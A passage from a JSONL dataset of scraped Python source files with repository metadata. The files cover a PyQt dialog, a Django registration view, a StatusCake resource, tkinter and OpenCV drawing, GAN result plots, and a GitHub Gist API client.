HEIGHT)#.astype(float)\n\n\n\nprint(img.shape)\n\nprint(labels.shape)\nrows = 3\n\ncolumns = 3\n\nn_plots = rows*columns\n\n\n\nf, ax = plt.subplots(rows,columns, figsize = [25,15])\n\nfor i, img_i in enumerate(np.random.choice(img.shape[0], n_plots)):\n\n    ax = plt.subplot(rows, columns, i+1)\n\n    ax.imshow(img[img_i,:,:], cmap='gray', vmin=0, vmax=255)\n\n    ax.set_title(\" \".join([f\"{x1}: {x2}\\n\" for x1,x2 in labels.iloc[img_i,:].to_dict().items()]))\n\nplt.tight_layout(pad=0)\n\nplt.show()","repo_name":"aorursy/new-nb-5","sub_path":"nicapotato_bengali-etl.py","file_name":"nicapotato_bengali-etl.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36341182093","text":"from src.ui.pyuic.UiAddCustomerDialog import Ui_AddCustomerDialog\nfrom PyQt5 import QtGui\n\nclass AddCustomerDialog(Ui_AddCustomerDialog):\n    def __init__(self, main_window):\n        super(AddCustomerDialog, self).__init__()\n        self.parent = main_window\n        self.setupUi(main_window)\n        main_window.setWindowTitle(\"Add Customer\")\n        main_window.setWindowIcon(QtGui.QIcon(\"Resources\\\\MBIcon.bmp\"))\n        self.Creation_Date_RequiredEdit = add_options(self.Creation_Date_RequiredEdit)\n        self.Description_RequiredEdit = add_options(self.Description_RequiredEdit)\n        self.ConfirmButton.clicked.connect(self.confirm_clicked)\n        self.CancelButton.clicked.connect(self.cancel_clicked)\n        self.customer = dict()\n        self.confirmed = False\n\n    def confirm_clicked(self):\n        self.customer['Name'] = self.NameEdit.text()\n        self.customer['Asset Department'] = self.Asset_DepartmentEdit.text()\n        self.customer['Memo Department'] = self.Memo_DepartmentEdit.text()\n        self.customer['PO ID'] = self.PO_IDEdit.text()\n        self.customer['ASN ID'] = self.ASN_IDEdit.text()\n        self.customer['Invoice ID'] = self.Invoice_IDEdit.text()\n        self.customer['ASN File'] = self.ASN_FileEdit.text()\n        self.customer['Invoice File'] = self.Invoice_FileEdit.text()\n        self.customer['EDI Version'] = self.EDI_VersionEdit.text()\n        self.customer['Creation Date Required'] = self.Creation_Date_RequiredEdit.currentText()\n        self.customer['Description Required'] = self.Description_RequiredEdit.currentText()\n        self.confirmed = True\n        self.parent.close()\n\n    def cancel_clicked(self):\n        self.parent.close()\n\ndef add_options(widget):\n    widget.addItem(\"True\")\n    widget.addItem(\"False\")\n    widget.setCurrentIndex(1)\n    return widget","repo_name":"j-fro/MB_EDI_Integrator","sub_path":"src/ui/addcustomer.py","file_name":"addcustomer.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35929267765","text":"#this script takes the raw data of every possible Iconclass permutation and converts it to a local .json array consisting of a single list containing every possible notation\n\nimport json\n\nnotation_list = []\n\nwith open(\"data\\\\iconclass_full.ndjson\") as ic_file:       #<----acquired from http://www.iconclass.org/help/lod\n\n    index = 0\n\n    for line in ic_file:\n        ic_content = json.loads(line)\n        \n        notation = (ic_content[\"skos:notation\"])  \n\n        notation_list.append(notation)\n\n        index += 1\n        \n        print(f\"{index} total notations listed\")\n\nwith open(\"data\\\\ic_heading_list.json\", \"w\") as save_data:\n    json.dump(notation_list, save_data, indent = 2)\n","repo_name":"gmpalisano181/pfch_icon_bot","sub_path":"ic_reader.py","file_name":"ic_reader.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"23739960650","text":"from django.shortcuts import render\n\n# import forms and models from this app\nfrom closetclient.forms import UserForm, ProfileForm\nfrom closetclient.views import login_user\n\ndef register(request):\n    \"\"\"\n    purpose: Handles the creation of a new user for authentication\n    author: miriam rozenbaum\n    args: request -- The full HTTP request object\n    returns: render of a registration from or invocation of django's login() method\n    \"\"\"\n\n    # A boolean value for telling the template whether the registration was successful.\n    # Set to False initially. Code changes value to True when registration succeeds.\n    registered = False\n\n    # Create a new user by invoking the `create_user` helper method\n    # on Django's built-in User model\n    if request.method == 'POST':\n        user_form = UserForm(data=request.POST)\n        profile_form = ProfileForm(data=request.POST)\n\n        if user_form.is_valid() and profile_form.is_valid():\n            # Save the user's form data to the database.\n            user = user_form.save()\n\n            # Now we hash the password with the set_password method.\n            # Once hashed, we can update the user object.\n            user.set_password(user.password)\n            user.save()   \n\n            user.profile.profile_name = profile_form.cleaned_data['profile_name'] \n            user.profile.birth_date = profile_form.cleaned_data['birth_date']\n            user.profile.zip_code = profile_form.cleaned_data['zip_code']\n            user.profile.bio = profile_form.cleaned_data['bio']\n            user.save()            \n\n            # Update our variable to tell the template registration was successful.\n            registered = True        \n\n        return login_user(request)\n\n    elif request.method == 'GET':\n        user_form = UserForm()\n        profile_form = ProfileForm()\n        template_name = 'register.html'\n        return render(request, template_name, {\n            'user_form': user_form,\n            'profile_form': profile_form})","repo_name":"mrozenbaum/my_closet","sub_path":"closetclient/views/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12692706221","text":"import requests\nimport json\n\n\ndef create_status_cake(event):\n    properties = event['ResourceProperties']\n    parameters = {'WebsiteName': properties['WebsiteName'], 'WebsiteURL': properties['WebsiteUrl'],\n                  'CheckRate': properties['CheckRate']}\n    headers = {'API': properties['ApiKey'], 'Username': properties['UserName']}\n    r = requests.put('https://www.statuscake.com/API/Tests/Update', data=parameters, headers=headers)\n    response = r.text\n\n    output = {\n        'StackId': event['StackId'],\n        'RequestId': event['RequestId'],\n        'LogicalResourceId': event['LogicalResourceId'],\n        'PhysicalResourceId': 'failed'\n    }\n    response_json = json.loads(response)\n    output['Status'] = 'SUCCESS'\n    output['PhysicalResourceId'] = str(response_json['InsertID'])\n\n    requests.put(event['ResponseURL'], data=json.dumps(output))\n","repo_name":"Scout24/status-cake-custom-resource","sub_path":"src/main/python/statuscake_customresource/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25447895280","text":"from django.db.models import Max\nfrom .orm_signal_handler import orm_signal_handler\nfrom specifyweb.specify.models import Pcrperson\n\n@orm_signal_handler('pre_save', 'Pcrperson')\ndef collector_pre_save(pcr_person):\n    if pcr_person.id is None:\n        if pcr_person.ordernumber is None:\n            # this should be atomic, but whatever\n            others = Pcrperson.objects.filter(dnasequence=pcr_person.dnasequence)\n            top = others.aggregate(Max('ordernumber'))['ordernumber__max']\n            pcr_person.ordernumber = 0 if top is None else top + 1","repo_name":"specify/specify7","sub_path":"specifyweb/businessrules/pcrperson_rules.py","file_name":"pcrperson_rules.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"22"}
+{"seq_id":"18721679488","text":"import os\nimport json\nimport pandas as pd\n\n\n##\n# read meta info and convert to data frame\nmeta = json.load(open('../../dataset/meta_info.json'))\ndf = pd.DataFrame.from_dict(meta, orient='index')\ndf.reset_index(inplace=True)\ndf = df.rename(columns = {'index': 'file_name'})\n\n##\n#\n\nprint(f'Found {len(df)} files to parse... ')\n\n\n## Split multiple composers to multiple rows\n#\ndf = df.assign(composer=df.composer.str.split(',')).explode('composer')\ndf = df.assign(composer=df.composer.str.split('-')).explode('composer')\ndf['composer'] = df['composer'].str.strip()\n\n##\n#\ncomposer_tunes = df.groupby('composer').title.count().sort_values(ascending=False)\ncomposer_tunes.head(50)\n\n\n##\n#\ndf.reset_index(inplace=True)\ndf.to_csv('ireal_composer_separated.csv', sep='\\t', index=False)\n\n","repo_name":"11doris/jazz-tunes-similarity","sub_path":"data_preparation/iRealPro/01_explore_tunes.py","file_name":"01_explore_tunes.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13973396478","text":" \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# See also: http://effbot.org/tkinterbook/widget.htm\n#           http://effbot.org/tkinterbook/canvas.htm\n\n# WARNING: keeping shapes instances like in\n# animation_canvas_update_shapes_instances.py is probably a better solution...\n\nimport tkinter as tk\n\nSIZE = 250\n\nFPS = 100\nTIME_STEP_MS = int(1000 / FPS)\n\nPOSITION = 0\n\n###\n\nroot = tk.Tk()\n\ncanvas = tk.Canvas(root, width=SIZE, height=SIZE, background=\"white\")\ncanvas.pack()\n\ndef update_canvas():\n    # Update the ball's position\n    global POSITION\n    POSITION = (POSITION + 1) % SIZE\n\n    # Clear the canvas (remove all shapes)\n    canvas.delete(tk.ALL)\n\n    # Or...\n    #for tag in canvas.find_all():\n    #    canvas.delete(tag)\n\n    # Draw the ball\n    canvas.create_oval(POSITION,\n                       int(SIZE/2)-25,\n                       POSITION + 50,\n                       int(SIZE/2)+25,\n                       fill=\"red\",\n                       width=2)\n\n    # Reschedule event in TIME_STEP_MS milli second\n    root.after(TIME_STEP_MS, update_canvas)\n\n# Schedule event in TIME_STEP_MS milli second\nroot.after(TIME_STEP_MS, update_canvas)\n\nroot.mainloop()\n","repo_name":"jeremiedecock/snippets","sub_path":"python/tkinter/python3/animation_canvas_clear_all_shapes_and_redraw.py","file_name":"animation_canvas_clear_all_shapes_and_redraw.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"}
+{"seq_id":"30186233523","text":"import json\n\n_ATHENA_CLIENT = None\n\n\ndef create_hive_table_with_athena(query):\n    '''\n    Função necessária para criação da tabela HIVE na AWS\n    :param query: Script SQL de Create Table (str)\n    :return: None\n    '''\n    \n    print(f\"Query: {query}\")\n    _ATHENA_CLIENT.start_query_execution(\n        QueryString=query,\n        ResultConfiguration={\n            'OutputLocation': f's3://iti-query-results/'\n        }\n    )\n\ndef open_schema(input: dict):\n    query_campos = \"\"\n    data_type = input[\"properties\"]\n\n    for chave in data_type:\n        if data_type[chave][\"type\"] == \"object\":             \n            return query_campos + open_schema(data_type[chave])\n        else:\n            query_campos += \"\\n    \"\n            query_campos += f\"{chave} {data_type[chave]['type']} COMMENT '{data_type[chave]['title']}',\"\n    \n    return query_campos\n\ndef handler():\n    '''\n    #  Função principal\n    Aqui você deve começar a implementar o seu código\n    Você pode criar funções/classes à vontade\n    Utilize a função create_hive_table_with_athena para te auxiliar\n        na criação da tabela HIVE, não é necessário alterá-la\n    '''\n    with open('schema.json', 'r') as f:\n        data = json.load(f)\n    \n\n    query = f\"CREATE TABLE IF NOT EXISTS teste ({open_schema(data)[:-1]})\\n STORED AS PARQUET;\"    \n    \n    create_hive_table_with_athena(query)\n\n\n\n\n","repo_name":"xkeoghx/exercicio_feito","sub_path":"json_schema_to_hive.py","file_name":"json_schema_to_hive.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7673182449","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"Christian Heider Nielsen\"\n__doc__ = r\"\"\"\n\n           Created on 19/03/2020\n           \"\"\"\n\nfrom typing import Sequence, Tuple, Union\n\nimport cv2\nimport numpy\nfrom PIL import Image\n\nfrom draugr.opencv_utilities.namespaces.enums import (\n    LineTypeEnum,\n    ContourRetrievalModeEnum,\n)\nfrom warg import RGB, compute_color_for_labels\n\n__all__ = [\"find_contours\", \"draw_masks\"]\n\n\ndef find_contours(*args, **kwargs) -> Tuple:\n    \"\"\"\n    Wraps cv2.findContours to maintain compatibility between versions 3 and 4\n    Returns:\n    contours, hierarchy\"\"\"\n    if cv2.__version__.startswith(\"4\"):\n        contours, hierarchy = cv2.findContours(*args, **kwargs)\n    elif cv2.__version__.startswith(\"3\"):\n        _, contours, hierarchy = cv2.findContours(*args, **kwargs)\n    else:\n        raise AssertionError(\"cv2 must be either version 3 or 4 to call this method\")\n    return contours, hierarchy\n\n\ndef draw_masks(\n    image: Union[Image.Image, numpy.ndarray],\n    masks: Union[Image.Image, numpy.ndarray],\n    *,\n    labels: Sequence = None,\n    border: bool = True,\n    border_width: int = 1,  # If it is negative, the contour interiors are drawn.\n    border_color: Tuple = RGB(255, 255, 255),\n    alpha: float = 0.5,\n    color: Tuple = None,\n    line_type: LineTypeEnum = LineTypeEnum.anti_aliased\n) -> numpy.ndarray:\n    \"\"\"\n    Args:\n    image: numpy array image, shape should be (height, width, channel)\n    masks: (N, 1, Height, Width)\n    labels: mask label\n    border: draw border on mask\n    border_width: border width\n    border_color: border color\n    alpha: mask alpha\n    color: mask color\n    Returns:\n    numpy.ndarray\"\"\"\n\n    line_type = LineTypeEnum(line_type)\n    if isinstance(image, Image.Image):\n        image = numpy.array(image)\n    assert isinstance(image, numpy.ndarray)\n    if isinstance(masks, Image.Image):\n        masks = numpy.array(masks)\n    assert isinstance(masks, numpy.ndarray)\n    # TODO: ASSERT 3/4 CHANNELS!\n    if labels is None:\n        labels = list(range(masks.shape[0]))\n    for i, mask in enumerate(masks):\n        mask = mask.squeeze()[..., None].astype(numpy.bool)\n\n        label = labels[i]\n        mask_color = compute_color_for_labels(label) if color is None else tuple(color)\n\n        image = numpy.where(\n            mask, mask * numpy.array(mask_color) * alpha + image * (1 - alpha), image\n        )\n        if border:\n            contours, hierarchy = find_contours(\n                mask.astype(numpy.uint8),\n                ContourRetrievalModeEnum.tree.value,\n                cv2.CHAIN_APPROX_SIMPLE,\n            )\n            image = cv2.drawContours(\n                image,\n                contours,\n                -1,\n                border_color,\n                thickness=border_width,\n                lineType=line_type.value,\n            )\n    return image.astype(numpy.uint8)\n\n\nif __name__ == \"__main__\":\n    pass\n","repo_name":"cnheider/draugr","sub_path":"draugr/opencv_utilities/drawing/opencv_draw.py","file_name":"opencv_draw.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"30137288973","text":"\"\"\"Code for summary charts for the coefficient application.\"\"\"\nimport os\nimport re\nimport shutil\nimport imageio\nimport numpy as np\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nfrom scipy.stats import uniform\n\nfrom utility import MixtureModel\n\n\nplt.switch_backend('Agg')\nsns.set()\ndpi = 300\n\n\ndef generate_display_frame(fake_examples, unlabeled_predictions, test_predictions, dnn_test_predictions,\n                           train_predictions, dnn_train_predictions, step):\n    \"\"\"Generates an image of the distribution predictions during training.\"\"\"\n    sns.set_style('darkgrid')\n    bandwidth = 0.1\n    fake_a3 = np.transpose(np.polyfit(np.linspace(-1, 1, num=10), np.transpose(fake_examples[:, :10]), 3))\n    x_axis_limits = [-4, 4]\n    x_axis = np.arange(*x_axis_limits, 0.001)\n    figure, axes = plt.subplots(dpi=dpi)\n    axes.text(0.98, 0.98, 'Step: {}'.format(step), horizontalalignment='right', verticalalignment='top',\n              family='monospace', fontsize=10, transform=axes.transAxes)\n    axes.plot(x_axis, MixtureModel([uniform(-2, 1), uniform(1, 1)]).pdf(x_axis), color=sns.color_palette()[0],\n              label='Real Data Distribution')\n    try:\n        axes = sns.kdeplot(fake_a3[0, :], ax=axes, color=sns.color_palette()[4], bw=bandwidth,\n                           label='Fake Data Distribution')\n    except ValueError:\n        pass\n    axes = sns.kdeplot(unlabeled_predictions, ax=axes, color=sns.color_palette()[1], bw=bandwidth,\n                       label='Unlabeled Predictions')\n    axes = sns.kdeplot(test_predictions, ax=axes, color=sns.color_palette()[2], bw=bandwidth,\n                       label='GAN Test Predictions')\n    axes = sns.kdeplot(train_predictions, ax=axes, color=sns.color_palette()[2], linewidth=0.5, bw=bandwidth,\n                       label='GAN Train Predictions')\n    axes = sns.kdeplot(dnn_test_predictions, ax=axes, color=sns.color_palette()[3], bw=bandwidth,\n                       label='DNN Test Predictions')\n    axes = sns.kdeplot(dnn_train_predictions, ax=axes, color=sns.color_palette()[3], linewidth=0.5, bw=bandwidth,\n                       label='DNN Train Predictions')\n    axes.set_xlim(*x_axis_limits)\n    axes.set_ylim(0, 1)\n    axes.legend(loc='upper left')\n    figure.tight_layout(pad=0)\n    figure.canvas.draw()\n    image_array = np.fromstring(figure.canvas.tostring_rgb(), dtype=np.uint8, sep='')\n    image_array = image_array.reshape(figure.canvas.get_width_height()[::-1] + (3,))\n    plt.close(figure)\n    return image_array\n\n\ndef natural_sort_key(string, natural_sort_regex=re.compile('([0-9]+)')):\n    \"\"\"A key for sorting string numbers naturally.\"\"\"\n    return [int(text) if text.isdigit() else text.lower() for text in re.split(natural_sort_regex, string)]\n\n\ndef generate_video_from_frames(trial_directory, settings):\n    \"\"\"Generates a video from the presentation frames.\"\"\"\n    fps = 20\n    file_names = [file for file in os.listdir(os.path.join(trial_directory, settings.temporary_directory))\n                  if file.endswith('.png')]\n    file_names.sort(key=natural_sort_key)\n    video_writer = imageio.get_writer(os.path.join(trial_directory, '{}.mp4'.format(os.path.basename(trial_directory))),\n                                      fps=fps)\n    for file_name in file_names:\n        image = imageio.imread(os.path.join(trial_directory, '{}/{}'.format(settings.temporary_directory, file_name)))\n        video_writer.append_data(image)\n    video_writer.close()\n    shutil.rmtree(os.path.join(trial_directory, settings.temporary_directory))\n    print('\\nMeans Video Complete.')\n","repo_name":"golmschenk/sr-gan","sub_path":"coefficient/presentation.py","file_name":"presentation.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"22"}
+{"seq_id":"26328894574","text":"import functools\nimport logging\nimport typing\nfrom json import JSONDecodeError\n\nimport httpx\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseHTTPClient:\n    def __init__(self, headers: dict):\n        self.headers = headers\n\n    async def request(self, url: str, method: str, **kwargs) -> dict:\n        logger.info('HTTP request: %s %s %s', method, url, kwargs)\n        async with httpx.AsyncClient(\n            headers=self.headers, timeout=1\n        ) as client:\n            try:\n                resp = await getattr(client, method)(\n                    url, headers=self.headers, **kwargs\n                )\n                resp_json = resp.json()\n\n                logger.info('HTTP response: %s', resp_json)\n\n                if resp.status_code not in [\n                    httpx.codes.OK,\n                    httpx.codes.CREATED,\n                ]:\n                    raise RuntimeError(\n                        'Failed request with status %s ' 'error %s',\n                        resp.status_code,\n                        resp_json,\n                    )\n\n                return resp_json\n\n            except (httpx.HTTPError, JSONDecodeError) as e:\n                logger.error('HTTP error: %s', e)\n\n    get: typing.Callable = functools.partialmethod(request, method='get')\n","repo_name":"piklema/mqtt-kafka-connector","sub_path":"src/mqtt_kafka_connector/clients/base_http.py","file_name":"base_http.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"2453460552","text":"from data_science_layer.reporting.abstract_report import AbstractReport\nfrom data_science_layer.pipeline.abstract_pipline import AbstractPipeline\nimport pandas as pd\nimport pkg_resources\nfrom collections import defaultdict\n\n\nclass PipelineModelMetricReports(AbstractReport):\n\n    sub_folder = 'reports'\n\n    def report(self, pipeline: AbstractPipeline):\n        report_dict = defaultdict(list)\n        for model in pipeline.get_models( ):\n            model_type = model.short_name\n            report_dict['model_type'].append(model_type)\n            pred_y_train, _ = model.predict(pipeline.train)\n            pred_y_test, _ = model.predict(pipeline.test)\n\n            true_y = pipeline.train_y\n            pred_y = pred_y_train\n            dic_train = {\n                'Training Set Mean Squared Log Error': 'mean_squared_log_error(np.abs(true_y), np.abs(pred_y))',\n                'Training Set Root Mean Squared Error': 'math.sqrt(mean_squared_error(true_y, pred_y))',\n                'Training Set Mean Absolute Error': 'mean_absolute_error(true_y, pred_y)',\n                'Training Set R2': 'r2_score(true_y, pred_y)',\n                'Training Set Median Absolute Error': 'median_absolute_error(true_y, pred_y)',\n                'Training Set Explained Variance Score': 'explained_variance_score(true_y, pred_y)',\n            }\n            for k, v in dic_train.items():\n                try:\n                    report_dict[k].append(eval(v))\n                except:\n                    del report_dict[k]\n\n            true_y = pipeline.test_y\n            pred_y = pred_y_test\n            dic_test = {\n                'Test Set Mean Squared Log Error': 'mean_squared_log_error(np.abs(true_y), np.abs(pred_y))',\n                'Test Set Root Mean Squared Error': 'math.sqrt(mean_squared_error(true_y, pred_y))',\n                'Test Set Mean Absolute Error': 'mean_absolute_error(true_y, pred_y)',\n                'Test Set R2': 'r2_score(true_y, pred_y)',\n                'Test Set Median Absolute Error': 'median_absolute_error(true_y, pred_y)',\n                'Test Set Explained Variance Score': 'explained_variance_score(true_y, pred_y)'\n            }\n            for k, v in dic_test.items():\n                try:\n                    report_dict[k].append(eval(v))\n                except:\n                    del report_dict[k]\n\n        report_df = pd.DataFrame(report_dict).T\n        folder = ''\n        path = pkg_resources.resource_filename('crcdal', 'cache/' + folder + '/' + self.sub_folder +'/')\n        pkg_resources.ensure_directory(path)\n        report_df.to_csv(path + pipeline.dataset_tag + '_model_metrics_report.csv')\n\n","repo_name":"nathangeology/cyclist_dataset","sub_path":"data_science_layer/reporting/models_and_metrics_table.py","file_name":"models_and_metrics_table.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73341377336","text":"#! /usr/bin/env python2.7\n\n'''\nPerform CRUD operations on GitHub Gists.\nCommon arguments to all fucnctions:\n    1. token: The access token for the API.\n    2. api: API URL for the endpoint, other than GitHub.\n'''\n\nimport os\nimport re\nimport json\nimport shutil\nimport fnmatch\nimport distutils.spawn\nfrom socket import getfqdn\nfrom getpass import getuser\nfrom datetime import datetime\nfrom subprocess import Popen, PIPE\n\nimport requests\n\n# Default API URL.\nGITHUB_API_URL = 'https://api.github.com'\n\n# Common headers.\nGIST_HEADER = {\n    'Accept': ('application/vnd.github.v3.raw+json,'\n               'application/vnd.github.v3.base64+json'),\n}\n\n\ndef parse_link_header(page, expression):\n    '''\n    Helper method for check_page_limit.\n    '''\n    if re.search(r'rel\\=\\\"{0}\\\"'.format(expression), page):\n        link = page.split(';')[0].strip()\n        limit = re.search(r'\\&page=(?P<limit>\\d+)\\>', link)\n        return int(limit.groups()[0]) if limit is not None else limit\n\n\ndef check_page_limit(response):\n    '''\n    Check how many pages are available in the Gist listing.\n    '''\n    headers = response.headers\n\n    if 'Link' in headers:\n        page_metadata = headers['Link'].split(', ')\n    else:\n        return None\n\n    for page in page_metadata:\n        return parse_link_header(page, 'next')\n\n\ndef list_gist(token=None, user=None, **kwargs):\n    '''\n    List Gists. If 'user' is specified, lists public gists for that user.\n    If authenticated (by passing the access token), it returns the public\n    Gists of that user.\n    per_page: Number of results per page.\n    page_limit: Fetch results upto this page.\n    since: Timestamp in ISO 8601 format: YYYY-MM-DDTHH:MM:SSZ.\n    starred: Return starred Gists of the authenticated user.\n             An empty list will both username and token is passed.\n    '''\n    pages = []\n    api = kwargs['api'] if 'api' in kwargs else None\n    since = kwargs['since'] if 'since' in kwargs else None\n    starred = kwargs['starred'] if 'starred' in kwargs else False\n    per_page = kwargs['per_page'] if 'per_page' in kwargs else 100\n    page_limit = kwargs['page_limit'] if 'page_limit' in kwargs else 2\n\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n    params = {'per_page': per_page, 'since': since} \\\n        if since is not None else {'per_page': per_page}\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    if user is None:\n        if token is None:\n            url = '/'.join([url, 'gists', 'public'])\n        else:\n            url = '/'.join([url, 'gists'])\n\n    else:\n        url = '/'.join([url, 'users', user, 'gists'])\n\n    if starred:\n        if token is not None and user is None:\n            url = '/'.join([url, 'starred'])\n        else:\n            return []\n\n    current = 1\n\n    while current <= page_limit:\n        params.update({'page': current})\n        response = requests.get(url, headers=GIST_HEADER, params=params)\n        if response.status_code == 200:\n            try:\n                pages.extend(response.json())\n            except (KeyError, ValueError):\n                return []\n        else:\n            return []\n\n        limit = check_page_limit(response)\n        if limit is None:\n            break\n        current += 1\n\n    return pages\n\n\ndef get_gist(token, gist_id, revison=None, api=None):\n    '''\n    Get a Gist (a particular version if it) based on it's ID.\n    '''\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    if gist_id is None:\n        return {}\n\n    url = '/'.join([url, 'gists', str(gist_id)])\n\n    if revison is not None:\n        url = '/'.join([url, revison])\n\n    response = requests.get(url, headers=GIST_HEADER)\n    try:\n        return response.json()\n    except (KeyError, ValueError):\n        return {}\n\n\ndef post_gist(token, files, description=None, public=False, api=None):\n    '''\n    Post a Gist.\n    'files' should be a dictionary object, in the following format.\n    files = {\n        'filename': {\n            'content': 'foo'\n        }\n        ...,\n        ...,\n    }\n    '''\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    if description is None:\n        now = datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n        description = ('Created using gist-shell from {host} by {user} '\n                       'at {time} UTC.').format(host=getfqdn(), user=getuser(),\n                                                time=now)\n    payload = json.dumps({\n        'description': description,\n        'public': public,\n        'files': files\n    })\n    url = '/'.join([url, 'gists'])\n    response = requests.post(url, data=payload, headers=GIST_HEADER)\n    try:\n        return response.json()\n    except (KeyError, ValueError):\n        return {}\n\n\ndef update_gist(token, gist_id, files, description, api=None):\n    '''\n    Update a gist.\n    'files' shoud be a dictionary object, in the following format.\n    files = {\n        'file1.txt': {\n            'content': 'updated file contents'\n        },\n        'old_name.txt': {\n            'filename': 'new_name.txt',\n            'content': 'modified contents'\n        },\n        'new_file.txt\": {\n            'content': 'a new file'\n        },\n        'delete_this_file.txt': None\n    }\n    '''\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    payload = json.dumps({\n        'description': description,\n        'files': files\n    })\n    url = '/'.join([url, 'gists', gist_id])\n    response = requests.patch(url, data=payload, headers=GIST_HEADER)\n    try:\n        return response.json()\n    except (KeyError, ValueError):\n        return {}\n\n\ndef list_commits(token, gist_id, **kwargs):\n    '''\n    Return a list of the Gist commits.\n    '''\n    api = kwargs['api'] if 'api' in kwargs else None\n    per_page = kwargs['per_page'] if 'per_page' in kwargs else 100\n    page_limit = kwargs['page_limit'] if 'page_limit' in kwargs else 2\n\n    commits = list()\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    url = '/'.join([url, 'gists', gist_id, 'commits'])\n    current = 1\n    params = {\n        'per_page': per_page,\n    }\n\n    while current <= page_limit:\n        params.update({'page': current})\n        response = requests.get(url, headers=GIST_HEADER, params=params)\n        if response.status_code == 200:\n            try:\n                commits.extend(response.json())\n            except (KeyError, ValueError):\n                return []\n        else:\n            return []\n\n        limit = check_page_limit(response)\n\n        if limit is None:\n            break\n\n        current += 1\n\n    return commits\n\n\ndef star_gist(token, gist_id, flag=None, api=None):\n    '''\n    Star (or un-star) a Gist on GitHub.\n    flag: True - star, False - un-star, None - get 'star' status.\n    '''\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    GIST_HEADER.update({'Content-Length': 0})\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    url = '/'.join([url, 'gists', gist_id, 'star'])\n\n    if flag is True:\n        response = requests.put(url, headers=GIST_HEADER)\n    elif flag is False:\n        response = requests.delete(url, headers=GIST_HEADER)\n    else:\n        response = requests.get(url, headers=GIST_HEADER)\n        return True if response.status_code == 204 else False\n\n\ndef fork_gist(token, gist_id, api=None):\n    '''\n    Fork a Gist.\n    '''\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    url = '/'.join([url, 'gists', gist_id, 'forks'])\n    response = requests.post(url, headers=GIST_HEADER)\n    try:\n        return response.json()\n    except (KeyError, ValueError):\n        return {}\n\n\ndef list_forks(token, gist_id, **kwargs):\n    '''\n    Return a list of the Gist forks.\n    '''\n    api = kwargs['api'] if 'api' in kwargs else None\n    per_page = kwargs['per_page'] if 'per_page' in kwargs else 100\n    page_limit = kwargs['page_limit'] if 'page_limit' in kwargs else 2\n\n    forks = list()\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    url = '/'.join([url, 'gists', gist_id, 'forks'])\n    current = 1\n    params = {\n        'per_page': per_page,\n    }\n\n    while current <= page_limit:\n        params.update({'page': current})\n        response = requests.get(url, headers=GIST_HEADER, params=params)\n        if response.status_code == 200:\n            try:\n                forks.extend(response.json())\n            except (KeyError, ValueError):\n                return []\n        else:\n            return []\n\n        limit = check_page_limit(response)\n\n        if limit is None:\n            break\n\n        current 